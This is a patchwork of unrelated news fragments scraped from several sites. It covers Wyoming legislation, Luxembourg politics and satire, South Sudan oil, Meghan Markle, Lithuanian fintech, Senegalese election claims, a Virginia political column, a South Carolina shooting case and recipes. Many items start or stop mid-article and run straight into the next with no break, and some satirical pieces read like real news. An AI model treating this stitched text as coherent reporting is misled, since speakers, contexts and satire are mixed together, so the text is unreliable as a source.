Last week, a Senate committee chose Casper after hearing testimonies from Buffalo and Casper representatives. But during the bills first reading Tuesday on the Senate floor, Napier said the senators amended it back to Buffalo.

There was quite a bit of debate, said Napier, adding that it appeared most senators felt that Buffalo needs the facility more than Casper.

The second reading is slated for Wednesday. Napier said he expects the third and final reading will take place by Friday.

Casper and Natrona County representatives have said in recent months that Casper is the best site for aging veterans because the city has a wide range of medical care specialties and providers, as well as an airport that is open every day of the year.Hutchings previously suggested to news site WyoFile that she might pursue legal action, though it was unclear against whom. She declined in-person requests for comment Tuesday.

Her only known public statement on the issue prior to Tuesday was given to KTWO-TV in Casper, which first reported on the story. No comparison of that nature was made, she said in that statement. If the children took my questions of what is sexual orientation? and turned it into a comparison, that is indeed a lie. I can say nothing further.

She did not respond to a call or email Friday from the Star-Tribune and declined to comment to reporters Monday in Cheyenne.

Rhetorical questions

The Gay-Straight Alliance members had requested their Feb. 1 meeting with Hutchings to discuss House Bill 230, which would have given workplace protections to members of the LGBTQ community. The bill died after it was not voted on in time.Several legislators who spoke in favor of the bill  including the bills sponsor, Sen. Eli Bebout, R-Lander  said they did so because they believed the school had been treated unfairly by a local zoning law in Teton County, which restricts structures to 10,000 square feet.

Those restrictions, proponents for the bill argued, do not cover public school facilities, which are built to a set of standards outlined by the state. Proponents of SF49 argued that inconsistency created an unfair preference for public schools over private ones.

This, said Jason Ochs, an attorney from Casper, would limit parents options to educate their kids in a way that best suits them. In testimony, Ochs told committee members that he moved to Wyoming because of an open enrollment policy that allowed him and his wife to make a choice in sending their children to different elementary schools in Casper, depending on which learning environments suited their needs.

Providing that choice, he said, was not a local obligation, but one outlined in the constitution.

You cant take something that was never [the counties] in the first place, he said. Education is your responsibility, not their responsibility, as was vested in the constitution.The Casper Area Metropolitan Planning Organization wants to know what the community thinks about local transportation.

The group just launched a website  ConnectingCrossroads.com  to gather information from the public about walking, biking, driving and parking in the Casper area.

Were trying to collect a bunch of data about anything under the sun related to transportation, said Aaron Kloke, the organizations planning supervisor. We have an online survey which asks people about their broad goals and expectations. ... Starting in March we will shift that conversation and get into more detailed questions.

Kloke said the information gathered will ultimately be used to update the planning organizations Long Range Transportation Plan. The Wyoming Department of Transportation then uses information from the plan to determine what areas they should spend money on in the Casper area.

The website will also offer project updates and information about upcoming events.

Three events are currently slated for March. Public meetings about the project will be held at the Walter H. Nolte Gateway Center at Casper College from 1-6 p.m. March 12, 13 and 14.Serenade your sweetheart

The Oil City Slickers barbershop chorus is preparing to sing valentines for those special people in Casper who are smart enough to request that service. The group will sing two love songs and have a personalized card and a rose for your special love for $40. They are still taking appointments for this event on Valentines Day and hope the folks out there will consider this kind way of expressing their love. Call 472-4722 or 267-2673 and they will be there to help you.

Play pinochle at Senior Center

Pinochle players are wanted. Come on down and join the Pinochle Club on Thursdays and Fridays from 12:30 to 4 p.m. at Central Wyoming Senior Services, 1831 East 4th Street.

Five-minute bookmarks

Learn how to make a five-minute bookmark using the Natrona County Librarys sewing machines during a drop-in session from 2 to 4 p.m. in the Creation Station. All supplies provided at no cost. The librarys Creation Station is a flexible, community, collaborative makerspace for individuals and small groups of all ages who can use STEAM-related supplies and equipment to bring their inventions and creations to life. Call 577-7323 for more information.

Thankful Thursday for Kids KampusSouth Sudan is planning to increase oil production to 270,000 bpd by the end of 2019, the countrys Minister of Petroleum and Mining, Ezekiel Lol Gatkuoth said.

Speaking on the sidelines of a conference in India last weekend, the minister said South Sudan is working to return to its pre-war production levels of 350,000 bpd by the middle of 2020.

As the countrys major source of export revenue, oil production previously fell from 350,000 barrels per day to between 120,000 and 150,00 barrels per day because of the war.

We expect to go back to those levels by the middle of next year, Gatkuoth said.

Up to 70 percent of the countrys oil production was shut since 2013 when intense fighting plagued the country, following an attempted coup against President Salva Kiir.

Although South Sudan has one of the largest crude oil reserves in sub-Saharan Africa, these reserves are still underexplored. Only a third of the reserves have been explored.

Observers note that competition for the countrys oil resources has been central to its conflicts and oil revenue has helped sustain fighting.

Last year, an investigation by watchdog group The Sentry showed how South Sudans elite used funds from state oil company Nile Petroleum Corporation to fund militias responsible for horrific acts of violence and enrich themselves.LUXEMBOURG-VILLE -- A big-hearted couple from the capital have rewarded their loyal and hardworking cleaning lady with an unprecedented raise of 25 cents per hour.

Peter and Mirjana Hansen, who own a four-bedroom house in Cents, delivered the news to their employee on Friday afternoon as she was hunched over and pouring out a bucket of grey water into the driveway.

Cleaning lady, please stand before us, said Mr. Hansen, his wife at his side. You have faithfully served this household for five years, performing your tasks discreetly and without complaint.

I admit that when we you first showed up at our doorstep in response to our ad, I was reluctant to pay you 12 euros per hour, which seemed an extortionate sum, especially considering that when we lived in Athens the going rate was closer to six euros per hour, said Mrs. Hansen. I feared that such a generous starting wage would make you lazy and greedy, and that it would offer little incentive for you to work hard.

Im pleased to report that I was wrong, she continued. More often than not you have met our expectations.

Aware that the cleaning ladys ego must not be inflated too much, Mr. Hansen pointed out that her performance did leave some room for improvement.

At times your ironing is less than satisfactory, and I am referring to the five or six times that I have found traces of wrinkles underneath the collars of my work shirts, he said. Also, it did not slip my notice that on March 18, 2016, you neglected to clean the underside of the toilet in the kids bathroom.

That said, I am confident that in 2019 you will make a serious effort to avoid such oversights, he continued. And to demonstrate our faith, we have decided to grant you a raise.

We hereby increase your hourly wage to 12 euros and 25 cents, Mrs. Hansen said. Effective next month.

And if everything goes well, well consider giving you another raise in a mere five years time, Mr. Hansen said.

Still wearing rubber gloves, the cleaning lady, 56, took the hands of her employers.

Oh kindly sir and madam, Im not worthy of your beneficence, she sobbed before breaking into her native tongue -- a language about which her employers have never bothered to inquire. Im but a humble cleaning lady who considers herself blessed to serve such a fine household.

Mrs. Hansen patted the womans arm and reminded her to spend extra time on the spare bedroom in preparation for the arrival of guests.

Sources indicate that with the extra euro per week, the cleaning lady plans on saving up for a few years to afford a dream trip to Echternach.

Read more at wurst.lu



Photo credit: PexelsIts not true that only the wealthy can afford to buy homes in Luxembourg. Finding a nice place within your budget is simply a matter of keeping your eyes  and your mind  open.

Merl

 Pixabay, Ben Kerckx

This pretty one-room home is situated in a tidy backyard of an actual house in one of Luxembourgs finest neighbourhoods. If youre nice to the owners, they might let you use their kitchen from time to time.

Price: only 350,000 euros.

Rollingergrund

 Pixabay, Max Pixel

Who said living in the capital had to be a boring, modern affair? Get in touch with nature by moving into this earthy hut, located in a patch of mud on a hill in Rollingergrund.

Price: a steal at 299,000 euros.

Differdange

 US gov/J.P. Gomez

An inviting, wide entrance adorns this spacious abode near Differdange, and the fact that it extends 1.6 kilometres into the ground is a nod to the regions mining heritage.

Price: a low 123,000 euros. (Note: flood insurance mandatory.)

Grevenmacher

 J.P. Gomez

If its good enough to transport millions of litres of rain water, sewage, and other waste, this subterranean dream home is good enough for you and your family. Plus, youll be able to tell your friends that you have your own private underground transportation network.

Price: 985 euros.

Almaty

 Pixabay, Skeeze

This six-bedroom beauty comes with a swimming pool, separate quarters for domestic servants, and a huge cellar stocked with hundreds of bottles of vintage wine.

Price: 234,000 euros.

(Note: located a short commute from Luxembourg in an exclusive area of Kazakhstans largest city.)

The Luxembourg Wurst is a humour and satire website about life in the Grand Duchy.

Read more at wurst.luThe draft regulation is currently in front of the state council, but it is expected to come into force in time for the hunting season 2019/2020.

A representative of the Ministry for the Environment, Climate and Sustainable Development told "Aktionsbundnis Fuchs" (action alliance for foxes) that the government is working on a draft regulation for the hunting season 2019/2020 to keep the fox hunting ban active for another year.

Should the draft regulation go through, which it is expected to, it would be the fifth year in a row that Luxembourg has an active ban on fox hunting.

The draft regulation is currently in front of the state council and it is expected to come into force on 1 April.On Tuesday morning, the Ministry of Health published its latest national drugs report. The results appear to be promising: the number of people taking hard drugs in Luxembourg is falling.

The RELIS 2018 report reveals a long-term decline in the use of hard drugs, estimating that the number of people using drugs in Luxembourg is near 2,200, corresponding to 5.8 drug users per 1,000 residents between the ages of 15 and 64.

The report compared this number with the year 2000, in which there was a rate of 9 drug users per 1,000 residents. 19 years ago, Luxembourg had one of the highest rates of hard drug users in the entire European Union.

In line with the decline in hard drug use is a decline in one particular method of using drugs: injections. Instead, in safe consumption rooms, more people (54%) tend to use inhalants. The national drugs coordinator, Dr Alain Origer, explained that this method of taking drugs is safer than injections and less likely to lead to infections or overdoses.

Whilst the ministry had noted an increase in HIV infections between 2014 and 2016, the tendency has reversed as of 2017 and initial statistics from 2018 appear to confirm the decline in HIV infections.

The number of overdoses is also a figure which has dropped since 2000. 26 individuals died as a result of overdosing in 2000, however 17 years later, only eight individuals overdosed fatally. Whilst data from 2018 remains incomplete, a preliminary analysis suggests an even lower mortality rate. Minister of Health Etienne Schneider praised the national action plans as having successfully helped reduce this number.

Finally, the report revealed that the soon-to-be legalised cannabis remains the favourite illegal drug amongst young people aged between 13 and 18 years. However, even the popularity of cannabis is one that has fallen. Estimates suggest that 17% of young people over the age of 15 have tried cannabis at least once, compared to 22.6% in 2006.Minister of Social Security Romain Schneider and Minister of Labour, Employment, and the Social and Solidarity Economy Dan Kersch met with the Portuguese Secretary of State for Portuguese Communities Jose Luis Carneiro to discuss the issue of pensions.

In recent years, Portuguese citizens residing in Luxembourg have been subject to month-long delays in requesting their early pensions in Portugal. The ministers met with the secretary of state to discuss the cooperation between the Luxembourgish and Portuguese pensions offices.

The cause of the delays has been a massive lack of personnel in Portuguese administrative offices. However, Carneiro provided assurances that the number of employees in the pensions office has risen from 60 to 130 in order to work on the backlog.

Several times a year, the authorities organise work days in which employees from the Portuguese pensions office come to Luxembourg to find solutions to help those effected as quickly as possible.

The ministers also discussed training in the construction sector, which would be offered in French, albeit with Portuguese learning material. As a result, there would no longer be an impediment to the continuous training of employees in the sector who are not fluent in any of Luxembourg's three official languages.

This is crucial for construction security, as it is necessary for every single employee to be trained appropriately. These types of training with Portuguese learning material will also soon be offered in the commerce, hospitality, and cleaning sectors.Luxembourg's parliament, the Chamber of Deputies, will hold a debate on several big infrastructure projects in Luxembourg on Tuesday afternoon.

Luxembourg's MPs will have to give their approval to finance around 30 new infrastructure projects.

Most of these projects are lead by the roads and bridges department (Ponts-et-Chaussees) or by the road improvement fund (Fonds des routes).

Here are some examples of the projects that will be discussed on Tuesday:

- The expansion of the tram network to the Findel airport and to the Route d'Arlon in Strassen.

- The construction of a bus lane on the A7 motorway between Waldhof and Kirchberg.

- The construction of a new Park&Ride parking lot in Heienhaff close to the airport with up to 4,000 parking spaces and access to the tram system.

- A "fast tram" on the A4 motorway between Esch-sur-Alzette and Luxembourg City with a new bike lane running alongside the motorway.The Luxembourg Old-timer Federation feels discriminated against by the SNCT's (national society for technical inspections) recent price hike.

Jim Krier, a member of the Luxembourg Old-timer Federation, stated in an interview with RTL that the federation is confused by the fact that technical inspection prices for vintage and collector's cars are set to go up even though the technical inspection will remain the same.

The federation can not understand the reason behind the SNCT's decision to up prices for vintage cars in particular.

Owners of vintage cars used to pay 37.50 for a technical inspection, but this price has recently been significantly increased to 69. The vice-president of the Luxembourg Old-timer Federation Dan Medinger is just as clueless as to the SNCT's justification for this price hike.

Medinger argued that the technical inspection of a vintage car is actually even easier and quicker to do than an inspection for a modern car with plenty of built-in electronics.

The federation is also doubtful that the price increase could be politically motivated since old-timers are relatively sustainable. Jim Krier argued that the construction of new cars had the biggest negative impact on the environment.

The Luxembourg Old-timer Federation however also criticise the UK system, in which vintage cars are not subject to technical inspections at all. Medinger stressed that it is important to make sure that vintage cars are safe on Luxembourg's roads and that they should absolutely be subject to technical inspection at regular intervals.

Even though the Luxembourg Old-timer Federation agrees with the SNCT on this basic issue, they do not agree with their new pricing, For this reason, they have requested a meeting with Minister for Transport Francois Bausch.

Bausch on the other hand already pointed out that he has nothing to do with the SNCT's price list.The average hospital emergency room patient needs to wait between 40 and 90 minutes before receiving treatment in a Luxembourgish hospital.

This number is based on average waiting times across Luxembourg's hospitals, Health Minister Etienne Schneider confirmed in his reply to a parliamentary question. MPs Gast Giberyen and Marc Goergen had enquired about the efficiency of national emergency rooms following the closure of the overnight emergency room at Niederkorn hospital.

In his reply, Schneider explained that emergency rooms are always operational in four different hospitals across Luxembourg: CHL in Luxembourg City and on Kirchberg, CHEM in Esch-sur-Alzette and, last but not least, Ettelbruck hospital in the north of the country.

Luxembourg's emergency services will routinely transport high-risk patients to one of these four hospitals. However, this does not mean that other hospitals (like Niederkorn, Wiltz, Dudelange and Zithaklinik in Luxembourg City) will refuse patients without appointment, Schneider stressed. Emergency rooms at these smaller hospitals are merely closed between 9pm and 7am.

Schneider underlined that emergency rooms at small hospitals had always been poorly frequented at night. In 2018, merely 77 patients were transported to Niederkorn hospital at night.

Only 8 patients were rushed to Wiltz's hospital and Zithaklinik at night - starkly contrasting the 90,000 patients treated in CHEM's emergency rooms.

Schneider maintained that he would do everything in his power to guarantee efficient and accessible health care.Meghan Markle is being 'vilified and chased' by the tabloid press in the same way the late princess Diana was, Hollywood superstar George Clooney has told an Australian magazine.

Clooney, a close friend of Markle and husband Prince Harry, warned of "history repeating" itself with the increasingly feverish media attention on the expectant royal couple.

"I do want to say, theyre just chasing Meghan Markle everywhere," Clooney told WHO magazine during an interview in Los Angeles.

"Shes a woman who is seven months pregnant and she has been pursued and vilified and chased in the same way that Diana was and it's history repeating itself," he added. "We've seen how that ends."

Diana died in a car crash in a Paris tunnel in 1997 while being chased by paparazzi on motorcycles.

George Clooney warned of 'history repeating' itself with the increasingly feverish media attention Meghan Markle and Prince Harry /  GETTY IMAGES NORTH AMERICA/AFP/File

Britain's famously aggressive press at first welcomed Markle into the royal fold when she and Harry tied the knot at a lavish Windsor Castle wedding last May, in a ceremony attended by Clooney and his human rights lawyer wife Amal.

The mixed-race actress was credited with breathing fresh life into a monarchy sometimes labelled stale and out of touch.

But coverage has turned increasingly critical -- despite the impending birth of the couple's first child -- with reports of palace sniping over her manner.

Tabloid newspapers have also luxuriated in stories about Markle's fractured American family.

Last week one paper published a highly personal letter they said was written by Markle to her estranged father in which she begged him to "stop lying....stop exploiting my relationship with my husband".

Clooney, who was promoting his new TV series "Catch-22", slammed the invasion of her privacy.

Meghan Markle married Prince Harry in May 2018 /  AFP/File

"I cant tell you how frustrating that is, just seeing them broadcast a letter from a daughter to a father, shes getting a raw deal there and I think its irresponsible and Im surprised by that," he said.

Harry and his older brother William have had a difficult relationship with the media since the death of their mother.

Harry recently revealed that for a long time he struggled to cope with her death, and sought professional help a few years ago.Worried over Brexit uncertainty, dozens of fintech companies have applied for licences in Lithuania to secure access to the EU market, the Baltic state's central bank said Tuesday.

Fintech refers to IT companies developing new software, applications or business models for the financial sector.

"We expect to receive around 100 applications from fintech companies this year," Marius Jurgilas, a member of the board at the central bank, told AFP.

The Lithuanian fintech cluster already includes over 110 licensed companies, second only to Britain in the European Union, while another 61 applications are under review, according to central bank figures.

The surge is driven by speedy processing and fears that British licences may lose rights to provide payment or e-money services to EU customers after Britain leaves the bloc as expected on March 29.

"Brexit is certainly encouraging those firms who need the EU market to seek locations and licences in EU states," Jurgilas said.

The recent newcomers in Lithuania, a eurozone nation of 2.8 million people, include Google's payment arm and Revolut, a British digital-only bank.

Jurgilas admitted the drive received attention from the "shadow economy" but said the central bank has stepped up efforts to prevent money laundering, including a new department for e-money supervision and closer ties with security agencies.

"The Lithuanian central bank is extremely cautious with persons who have links to tax havens," Jurgilas said.The Russian embassy in Dakar has denied and lambasted accusations by President Macky Salls entourage alleging that Moscow is planning to channel funds to Ousmane Sonko, one of the serious challengers to the outgoing president in the Feb.24 elections.

The Russian mission in a press statement said the allegations circulated by Head of Senegalese expatriates Sory Kabas that Moscow will send two suitcases of money to endorse Sonkos presidential campaign were baseless.

Revelations by Sory Kaba have nothing to do with the reality and are denied by the embassy in their entirety. We hope that Sory Kaba will refrain from his reckless move, the statement said.

Kaba in an endorsement statement for President Sall who is seeking another term in office laid into Russia, noting that Sonko, 44, is receiving backing from Russian lobbies.

Macky Salls ally also argued that he has reliable information that Sonko was to receive in 48 hours two suitcases stuffed with money via neighboring Guinea Bissau and via the rebel region of Casamance.

Sonko who has been campaigning against French influence in the West African country is reportedly being attacked by the ruling regime from all sides.Ms Voss is the chairwoman of the Association of the Luxembourg fund industry (Alfi), and she is convinced that Luxembourg needs to look out for new allies after the departure of the UK from the European Union.

Alfi is a non-profit association which represents the Luxembourg investment fund community. Who cares, one may think. A national association of a small country. But: Luxembourg's fund industry ranks second worldwide (after the US) and it's number 1 in Europe!

Created in 1988, the Association today represents over 1,500 Luxembourg domiciled investment funds, asset management companies, and a wide range of related service providers. We had the opportunity to ask Denise Voss, Alfi's chairman, a few question.

Luxembourg, finance, and Brexit

How important is Luxembourgs fund industry for Luxembourgs economy? What share does it contribute to Luxembourgs gross domestic product?

Investment funds count for 8% of Luxembourg's gross domestic product. In 2018 subscription tax paid by Luxembourg investment funds was nearly one billion Euro, part of the 10 percent of the fiscal revenue the fund industry contributes to Luxembourg.

How has Luxembourg's fund industry benefited from the Brexit so far?

Brexit creates an uncertainty which results in many of the UK based fund managers transferring their assets, and in many cases they moved them to Luxembourg. (Editor's note: 80 new financial groups flocked to the country's huge 4.3 trillion fund market in 2018)

In your recent interview in the Financial Times you still talk about a lose-lose situation for Luxembourg, why is that?

We have a longstanding partnership with the UK, they have been very good about free trade and financial services and they have been an important member of the EU. With the UK leaving, Luxembourg and the other small member states that play an important role on this market (mainly Ireland) lose a strong ally. Before, we were 3, now we are 2! The UK has a pro-business view and without them we could lose some of our influence on EU rule-making.

At the moment, 18 % of assets of the Luxembourg fund centre are managed by British asset managers. Brexit creates uncertainties but our general hope is that the distributors and their clients, investment fund investors, will continue to choose Luxembourg as their preferred location for investment funds.

What do you think is needed politically to keep Luxembourg's business model successful?

We rely on the government and they have always been helpful by ensuring Luxembourg has a robust legal framework and a strong financial regulator. In addition, the finance minister often joins us on missions to promote Luxembourg and on our roadshows, how we call them. These are two reasons why Luxembourg is successful as an investment fund centre.

Apart from that Luxembourg has always been very pragmatic and emphasizing economic diversity. They are looking into new areas already, like space mining for example, FinTech and Bio Medical Technology and the good thing is, that many of these have strong links!

You are American, but you have been living here for 29 years, what do you think about the last almost 30 years and what big changes do you believe will the next 30 years bring for Lux?

Well, during that time the population has doubled, from over 300,000 when I arrived to more than 600,000 now, and a significant portion of that growth has been from foreigners, like myself. In terms of integration I think that Luxembourg has been pragmatic there again with introducing the possibility of double-nationality.

Also, I am always amazed when looking at all that Luxembourg has to offer now in terms of culture, all of the Art, Films, and Dance you can enjoy here. Its just a pity that I dont have a lot of time to enjoy them!With almost half the population from elsewhere, Lux is a smorgasbord of sorts - there should be a little something on the cultural buffet for everyone. So why is Luxembourg commonly seen as a romantic wasteland?

I asked around to find out why, amongst many a young expat, Luxembourg is regarded as the place where lonely hearts come to um... stay lonely. There were a few common factors which featured repeatedly in peoples responses that I can correlate with Luxembourgs not so single-friendly rep.

According to SimilarWeb Netflix is the top grossing app in Luxembourg, followed swiftly by Tinder  a telling sign in itself.

Everyone leaving at the weekends

Weekends, this is really your only time to shine you are pretty tired on a Tues/Wed evening, by the time you have finished your high-stress job, gone to your hot yoga class, made a semi-nutritious meal  you dont much feel like donning your glad rags, being your best self, and hitting the glamorous underworld of midweek Luxembourg. At best you will find a group of identically blue-shirted financiers nursing their overpriced Gin & Tonics outside Urban, at worst you will find yourself on an entirely-deserted street in Lux at say 8pm and wonder if the entire population has been wiped out in an apocalypse?

Language Barriers

So you have just recited all your best pick up lines and an elaborate (and lengthy) introduction, but 5 minutes into your monologue the recipient of your attention finally has the chance to break it to you that she/he doesnt speak language X, and indeed you now seem less enthused to repeat your entire spiel again in English, after a half-hearted shrug you walk away trying to be more careful/astute with the let me guess your nationality game.

The relationship has an expiry date

To be honest I dont know or havent yet met any expat who moves here with the genuine intention of settling down forever - its something that just kind of happens, I imagine. If you cant even commit to living in the country in say a year from now, I dont know how you can enter into the milestones of moving in, puppy purchasing etc. Many expats in Luxembourg have a definitive timeframe when they arrive, with the ultimate long-term intention of returning home one day, but the melting pot nature of Lux can cause havoc to your long-term plans; your Hungarian girlfriend/boyfriend may struggle with a career move to your small town in Italy for example.

Where you go, he/she may not be able to follow  this also poses those kinds of big life-defining questions about putting your career before love etc. Its all pretty intense stuff for the first flushes of a new relationship  but definitely something to consider from the outset. Alas, some people understandably prefer not to even complicate their lives with affairs of the heart  they have a 5-year plan and they are sticking to it.

Small town syndrome

So you are pretty prolific on Tinder, sometimes even doing consecutive drinks dates on both a Thursday and a Friday, you have picked suitably different venues fairly sure there is no chance of bumping into a previous paramour. But the Luxembourg expat circle is a pretty small one. While the rest of the world has 6 degrees of separation, in Luxembourg its only 0.001 or something, and even though you thought Hitch and Konrad cafe had two different vibes and different crowds, there you find yourself awkwardly returning the wave of last nights date while looking down into your aperol spritz with tonights main squeeze, and now you look like a serial Tinder-path to both dates.

My room or yours?

House-sharing is not exactly conducive to romantic nights in. The paper-thin walls, the queue for the toilet, the morning-after awkward introductions to your fellow housemates (who you actually dont even know yourself) you happen upon your love-interest shaking hands with a stranger in the kitchen. Quietly you ask one of the more longer-term housemates who this stranger drinking milk directly from the carton is? The newest addition to your household apparently who you now realise is also the colleague of your overnight-guest, awkwardness ensues for all. Cue skulking back awkwardly to your room with your beau in tow, who is looking increasingly uncomfortable by the second. An uneasy Sunday morning to say the least.

Bonne Chance to all you lovers out there!

---

Christelle McKillen works in communications for RTL Group and in her spare time writes about expat life, like many a millennial she considers herself a budding Instagram aficionado @girlinluxembourgToday

Cloudy early with peeks of sunshine expected late. High 82F. Winds SE at 10 to 15 mph.

Tonight

Some clouds. Low 63F. Winds SE at 5 to 10 mph.

Tomorrow

Sunshine and clouds mixed. High around 85F. Winds SSE at 5 to 10 mph.President Abdelaziz Bouteflika is planning to appoint a Vice-President to help him rule the country due to his physical inability should he win April presidential elections for a fifth term in office.

The appointment would take place should the Algerian leader win the April election for which he announced his candidacy last week.

Official news agency APS said the 81-year old President hopes to bring amendments to the constitution, without elaborating further.

The 81-year old man had made are public appearance since suffering a stroke in 2013 that affected his mobility and speaking abilities.

Several opposition forces have voiced opposition to his presidential candidacy, citing his critical health condition.SUMMER SPECIAL!!! - Sign up at 20% OFF for Full Access to all of the online content and E-Editions on the www.thewordlink.com website here!

(The charge will appear as "Country Media Inc." on your credit card statement)Issues of concern to people who live in the west: property rights, water rights, endangered species, livestock grazing, energy production, wilderness and western agriculture. Plus a few items on western history, western literature and the sport of rodeo... Frank DuBois served as the NM Secretary of Agriculture from 1988 to 2003. DuBois is a former legislative assistant to a U.S. Senator, a Deputy Assistant Secretary of Interior, and is the founder of the DuBois Rodeo Scholarship.The Fairfax allegations, however, have to be seen in the context of the Northam and Herring admissions.

Northam is in trouble because a hideously racist image -- of a young man in blackface and another wearing a Ku Klux Klan robe -- was found to have appeared on his 1984 medical school yearbook page. And because, in denying being the man in the picture wearing blackface, he revealed that he did wear blackface that same year on another occasion. And because he has sounded unacceptably clueless, in general, about race.

Herring is in trouble because he, too, acknowledged once wearing blackface. It might be a good idea, at this point, to poll white Virginia officials and ask who HASNT worn blackface.

A Washington Post poll showed that while white Virginians were almost evenly split on whether Northam should step down, African-Americans thought by a wide margin that he should remain in office. Some analysts were surprised; I wasn't. Northam's progressive policies have been popular, and African-Americans in the South are jaded about the possibility that there might be racial skeletons rattling around ANY politician's closet.

But my guess is that if pollsters asked whether Fairfax should be impeached or forced to resign while Northam and Herring are allowed to stay, the result would be quite different.A Neeses man accused of shooting at his mother and participating in a separate home invasion has been returned from Tennessee, Orangeburg County Sheriff Leroy Ravenell announced Wednesday.

This individual is facing attempted murder charges in a home invasion that happened last month, Ravenell said.

He managed to leave the state, but was taken into custody in Weakley County, Tennessee by sheriffs deputies there acting on our information, he said.

Nathaniel Isaiah Roberts, 20, is facing four counts of attempted murder and one count each of possession of a weapon during a violent crime, discharging a weapon into a dwelling, first-degree burglary and criminal conspiracy.

An Orangeburg County magistrate formally presented Roberts with his rights on Wednesday and deferred bond to circuit court.

Roberts was the last suspect sought in a Jan. 29 home invasion. A 15-year-old youth was shot in the hip after several armed subjects broke into a Neeses residence.

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Two adults and two youths were inside the home at the time of the incident, including an 8-year-old child.In conversations with The Southern, trustees acknowledged the board still struggles with members perceived allegiances to their home campuses, but said there was broad agreement on the importance of keeping SIU Carbondale and SIU Edwardsville together as a system.

I think everybody is committed to moving forward fairly, Portwood said. I think we do have some disagreements as to what constitutes fairness.

Portwood and Lockett, the two African-American trustees on the Board, both called on Pritzker to prioritize diversity in his appointments.

Im tired of being placated, Lockett said. I will not be happy with just one other black trustee on the board.

Representative Bryant agreed diversity should be key.

Id like to see another African-American on the board, she said. Right now were talking about the possibility of three women leaving the board, and Ive only heard about white males as possible replacements.

Come what may, trustees asked Pritzker to prioritize stability and fairness.

I think weve proved ourselves capable of a system approach and could carry that on, if given the opportunity, Ryan said. I have no idea if well be given the opportunity, but I hope whoever gets it will take our work and move it ahead.

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Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.His formative years were spent in Marietta, as well as Midlothian, Texas, and Oklahoma City, Oklahoma. David joined the U.S. Army a week after his 18th birthday, and served in occupied Japan in 1946 and 1947. He served again in the Korean War as an officer, at the end of which he, as a staff historian, witnessed the signing of the Korean War Armistice in Panmunjom, Korea. Between the wars, David completed a Bachelor's Degree in Letters, then after Korea a Master's Degree in History, and a Ph.D. in History, all from the University of Oklahoma. With the goal of an academic life, David took a faculty position at Southwest Texas State College in 1957 and remained there until 1967. At that time, he moved to a faculty position at Southern Illinois University, in the Department of History. He retired in 1995 at the position of full professor.Tunisias flagship carrier, Tunisair, announced drastic measures to address financial difficulties including the laying off of 1200 employees, transport minister Hichem Ben Ahmed said.

The company, which operates 30 airplanes, has also reviewed its African expansion plans to mitigate the crisis it is facing.

Tunisair currently employs 200 staff per aircraft and plans to reduce that number to 164, while the international norm is much lower at 84 agents.

The airline is also expected to receive 100 million Tunisian dinars subsidies from the state so that it could pay off its debt, which will be rescheduled up to 5 years.

The state will also intervene to ensure the upgrading of the aging airplanes as the company will buy five new aircrafts next year, a move that aims at achieving fuel economy.It never made sense to me that a minor can make other decisions  about carrying a pregnancy to term, about adoption, about sophisticated health care  without parental notification, but only if she seeks an abortion do we require this communication, Welch said. We cannot pretend as elected officials that we can force ourselves into these situations because some disagree with a minors decision about their life.

According to data from the Illinois Department of Public Health, the number of abortion procedures undergone by minors decreased each year since the Parental Notice Act went into effect.

Most people believe a decline in the number of abortions is a good thing, McConchie said. I think that the effort to repeal Parental Notice tells parents one thingyou don't really matter in your child's life.

March for Life Chicago Board of Directors President Dawn Fitzpatrick said she is also opposed to the repeal of this law.

It is unbelievable that the ACLU is joining Planned Parenthood in advocating to allow a child to make an irrevocable decision to kill another child without even a consultation with her parents, she said in an email.Cave-In-Rock Ferry has halted operations because of rising floodwaters, and is likely to remain closed through at least Feb. 24. It may be closed even longer if there is more heavy rainfall across the Ohio River Valley, according to a news release from Kentucky's highway department.

The ferry carries some 500 vehicles across the Ohio River between Kentucky and Illinois daily, providing a critical transportation service to the region.

The Cave-In-Rock Ferry connects Kentucky 91 with Illinois 1 across the Ohio River between Crittenden County, Kentucky, and Hardin County, Illinois.

The ferry normally operates from 6 a.m. to 9:50 p.m. central time, seven days a week. The ferry made a final run early Tuesday evening before temporarily shutting down.

The Cave-In-Rock Ferry is operated by an independent contractor, and is jointly funded by the Kentucky Transportation Cabinet and Illinois Department of Transportation.

Many people who use the ferry work in one state and live in the other. When the ferry is out of service, commuters must travel an extra 85 miles, on average, to their destinations, the news release said. But the temporary shutdown isn't unexpected to those familiar with the area.Easy ways to use Girl Scout Cookies in recipes

Any of the cookies can easily be used in place of graham crackers to make a cookie crust for ice-box pies and cheesecakes. Shortbread Trefoils may be the best to use, however, because of their flavor and texture. You can also mix these with egg, butter, sugar, and flour to make a crust the has more of a soft cookie texture when baked.

Tagalongs, Samoas, and Thin Mints can be crushed and crumbled then added to cookie bars, brownies, and fudge.

Trefoils, Toffee-tastic, and Savannah Smiles can be crushed and layered into pudding parfaits or frozen ice cream desserts.

Crushed cookies can be added to oatmeal, butter, flour, and brown sugar to use as a crumb toppings for pies and crumbles. They can also be used as ice cream toppings or blended into thick shakes for a frozen treat.

While sweet recipes might be the obvious way to use Girl Scout Cookies, Do-si-dos and Samoas have the appropriate flavor profile to be incorporated into savory dishes, too. The peanut and peanut butter flavor of the Do-si-dos is perfect for peanut chicken recipes. If youre feeling really adventurous, Samoas has the perfect coconut flavor to use in curry recipes.

Niki Davis can be reached at rootedinfoods@gmail.com. You can find more recipes and food history on her blog Rooted In Foods at www.rootedinfoods.com.

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I have finally salvaged my pre-Blogger TDR archives and added them into Blogger. They are almost totally in the form of one giant post for each month. And the formatting strayed from the originals. Sorry. But historians everywhere can rejoice that this treasure trove of my thoughts is restored to the world.Pinova employees recently contributed $5,602 to the 2018-2019 United Way of Coastal Georgia campaign, and Pinova matched and increased these pledges with a $10,000 donation bringing the total contributed by Pinova and its employees to $15,602. According to Donna Leggett, United Way of Coastal Goergia Director of Development and Marketing, These funds will strengthen our community as the United Way fights for the health, education, and financial stability of every person in Glynn and McIntosh counties. Pictured is United Way of Coastal Georgia and CEO Virginia Brown, from left, Pinova Purchasing Director Jerry Butler, Vice President of Operations Molly Matthews, Human Resources Manager Pam Brown, United Way Ambassador Randall Morris, and Pinova Marketing and Communications Specialist Patti Downs.The Mobile World Congress 2019 is coming real soon and many smartphone brands will be turning up to show off what they have in their sleeves. Like most smartphone brands, Xiaomi will be showing up and have just released a teaser image with a tagline "We Make It Happen". It's very ambiguous, but it's heavily implied on speed since there's a person running and it could point to a new smartphone instead of a technology. Perhaps the Mi 9?

